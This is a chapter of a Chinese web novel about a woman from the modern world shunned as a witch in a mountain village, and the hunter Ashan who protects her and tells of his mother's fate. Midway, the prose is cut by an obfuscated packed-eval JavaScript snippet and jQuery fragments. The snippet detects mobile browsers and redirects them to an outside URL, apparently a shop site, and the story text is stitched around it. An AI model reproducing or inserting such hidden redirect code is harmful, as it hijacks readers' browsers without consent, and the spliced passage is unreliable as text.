然而，想通这一点并不能让我好受半分。妞妞因为靠近我而挨打，这比任何针对我的恶意都更让我痛苦和愤怒。那只是一个孩子，一个对我抱有最纯粹善意的孩子。
接下来的几天，妞妞果然没再出现。篱笆外空荡荡的，只有风吹过竹叶的沙沙声，和远处田间隐约的吆喝。我的世界重新缩回这方石屋小院，甚至比之前更加死寂。我机械地打扫、烧水，看着阿山早出晚归，心里却像破了一个大洞，呼呼地漏着风。
某天傍晚，天色阴沉得像是要压到屋顶。我正打算把晾晒的干柴收进来，忽然听到篱笆根那里传来极其细微的、窸窸窣窣的声音。
我屏住呼吸，轻轻靠近。
不是妞妞。篱笆最下面的缝隙里，塞进来一个小小的、用阔树叶包裹的东西。我捡起来，打开，里面是几颗红得发黑的野山楂，还有一小把炒熟的南瓜子。野山楂上还带着枝叶，南瓜子显然是被小心收集、慢慢积攒下来的。
树叶包裹的背面，用烧过的树枝，画着一个歪歪扭扭的图案：一个圆圈，上面戳了几个点，像是笑脸，旁边是两道波浪线，大概是代表篱笆。图案下面，是更稚拙的、几乎辨认不出的两个字——“不哭”。
我的眼泪瞬间决堤。我紧紧攥着那片树叶，指甲掐进掌心。妞妞没有忘记我。她在用她能做到的方式，偷偷地安慰我。她甚至知道我在难过。
就在这时，一阵刻意压低的争吵声顺着风飘过来，就在离篱笆不远处的柴垛后面。
“……你还敢来！爹的棍子没挨够是不是？”是一个略显尖利的童声，听起来像个大点的男孩。
“哥……我就放点东西，仙女姐姐对我好……”是妞妞！她声音里带着哭腔和倔强。
“好个屁！李大先生说了，她是妖女！专门骗小孩吃心肝的！你看阿山叔，都快被她吸成人干了！你再去，下次爹打断你的腿！”男孩的声音恶狠狠的，带着一种学来的、虚张声势的残忍。
“你胡说！仙女姐姐给我肉吃，给我甜水喝，还帮我洗手！她才不是妖女！”妞妞争辩着，但气势明显弱了许多。
“那是迷魂汤！李大先生说了，妖女最会这一套！你再不听话，我就告诉爹，告诉李大先生！把你关起来，不给你饭吃！”男孩威胁道。
接着传来推搡的声音，妞妞短促的惊叫和压抑的哭泣，脚步声匆匆远去，柴垛后恢复了寂静。
我浑身冰冷，血液仿佛都凝固了。愤怒、心疼、无力感……种种情绪像毒藤一样缠绕住我的心脏，越收越紧。我隔着篱笆，眼睁睁看着一个小女孩因为对我释放的微小善意，而被恐吓、被欺凌，却什么也做不了。我不能冲出去保护她，那只会坐实“妖女惑人”的罪名，给她带来更大的灾难。
这种清醒的无力，比任何直接的辱骂和排斥都更令人绝望。
阿山回来时，我正对着那包野山楂和南瓜子发呆，眼泪已经流干了，只剩下木然的空洞。
他看了一眼我手里的东西，又看了看我的脸色，什么都没问，只是默默生火做饭。山鸡肉在陶罐里咕嘟咕嘟地炖着，香气弥漫，我却只觉得反胃。
“阿山。”我开口，声音嘶哑得不像自己的，“你为什么要对我这么好？”
这个问题在我心里其实憋了很久。来到这里，我除了麻烦什么也没带来。我只是个手无缚鸡之力，满脑子怪念头，被全村视为祸害的累赘。按照最现实的逻辑，阿山早就该把我扔出去或者交给李大先生处置，来换取他在村里的安宁。
阿山添柴的手停住了。火光在他脸上跳跃，勾勒出他深邃的轮廓。他沉默了很久，久到我以为他不会回答。
“我娘，”他终于开口，声音低沉得像从地底传来，“也是从山外来的。”
我愣住了。
“我爹是猎户，在山里救了她。她和你一样，爱干净，怕虫子，喝不惯生水。”阿山用树枝拨弄着火堆，火星噼啪炸开，“她教我认字，虽然不多。她告诉我山外面有更大的世界，有不用打猎就能吃饱饭的地方。”
他的语气很平静，但我听出了一丝深埋的痛楚。
“后来呢？”我轻声问。
“村里闹时疫。李大先生说，是外来的女人带来了邪气。”阿山的声音更低了，“他们逼我爹……把她交出去。我爹不肯，带着她想逃进深山。那年的雪来得特别早……他们再也没回来。”
我捂住嘴，眼泪又涌上来。我终于明白阿山眼中那份小心翼翼的呵护从何而来，明白了他为什么愿意忍受我的“怪癖”，甚至不惜与全村对抗。我在他眼里，或许不只是个需要保护的弱女子，更是他母亲——那个同样被这个世界排斥、最终消逝在风雪中的异乡人的影子。保护我，就像在弥补当年无法保护母亲的遗憾。
“找到他们的时候，”阿山继续说，声音干涩，“我娘的怀里，还揣着半块她没舍得吃的干粮，是留给我爹的。我爹的弓断了，他死前……还保持着护着她的姿势。”
火光照着他微微发红的眼眶，但他没有流泪。或许在这残酷的山里，眼泪是早就流干了的东西。
“所以，琪琪。”他抬起头，目光如磐石般坚定，“只要我活着，就不会让同样的事发生第二次。你不是祸害，你是我带回来的。你的命，我护着。”
这番话像重锤敲在我心上。我之前所有的委屈、恐惧，在这一刻都变得渺小。阿山背负的，远比我看到的沉重得多。他对我好，不是因为我是谁，而是因为他要坚守某种东西，对逝去亲人的承诺，对自己良心的交代，对那一抹不同的捍卫。
“对不起，阿山，”我哽咽道，“我不知道……”
“不用知道。”他打断我，“你只要好好活着就行。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119586|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“可是……我在这里就是个祸害！害你被指指点点，害妞妞挨打挨骂！是不是非要我死了，或者被他们绑去烧了，这一切才能结束？”话一出口，我自己都吓了一跳。那股一直压抑着的属于现代人的愤怒和委屈，混合着对这个原始环境的憎恶，终于冲破了理智的闸门。
阿山猛地抬头，眼神锐利如刀。“不许说这种话！”他厉声道，随即又缓和了语气，带着一种不容置疑的坚决，“有我在，没人能动你。李大先生也不行。”
“可你护得住一时，护得住一世吗？”我颓然道，“你能堵住全村人的嘴吗？你能时时刻刻看着妞妞不让她靠近我吗？阿山，这不是打猎，不是对付野兽。这是人心。”
阿山沉默了。火光映着他紧抿的嘴唇和下颌坚硬的线条。过了很久，他才说：“人心也是肉长的。会怕，也会变。”他看向我，“你教妞妞洗手，给她干净水喝，这些事，或许现在看是祸端。但种子埋下去了，总有一天会发芽。妞妞现在小，她不懂李大先生那些大道理，她只知道谁对她好。这份‘知道’，比什么先生的话都实在。”
他顿了顿，声音更沉：“村里也不全是糊涂人。只是没人敢出头。就像山里的鹿群，头鹿往哪儿走，它们就往哪儿跟。但要是头鹿带错了路，走进了沼泽……跟久了，总会有人想回头。”
我怔怔地看着他。这个看起来粗犷、沉默的猎人，竟能说出这样一番话。他并非不懂人心，他只是选择用自己认为对的方式去应对。
“那我们现在……该怎么办？就这么等着？”我问。
“等，也不是干等。”阿山用树枝拨弄着火堆，“冬天要来了，储存食物、柴火是头等大事。我会多打猎，多备些肉干皮子。村里谁家缺了过冬的粮，我能帮就帮一点。不求他们念好，只求他们少说两句闲话。”他看向我，“你……就待在院里。若是闷，我下次去镇上，看能不能寻本旧书回来。”
他说的镇上，是翻过两座山的一个稍大点的集市，要走一天一夜的山路。那里的人或许依然封闭，但至少不像青石村这样，完全被一个李大先生掌控。
我点点头，心里却知道，寻书怕是奢望。在这个时代，书籍是极其珍贵稀罕的东西。
“至于妞妞……”阿山沉吟了一下，“那孩子心善，也有主意。你越不让她来，她可能越想方设法来。堵不如疏。下次她若再来，你别赶她，但也别给她东西，尤其别给她吃的喝的。就说……就说你病了，怕过了病气给她。让她远远说说话就行。”
我明白阿山的顾虑，任何实质性的馈赠，现在都会成为把柄。精神上的那点微弱联系，或许反而更安全，也更难以被指责。
那一夜，我辗转难眠。妞妞树叶上的笑脸和“不哭”两个字，柴垛后那场充满愚昧和暴力的童言威胁，阿山母亲的故事，都让我心乱如麻。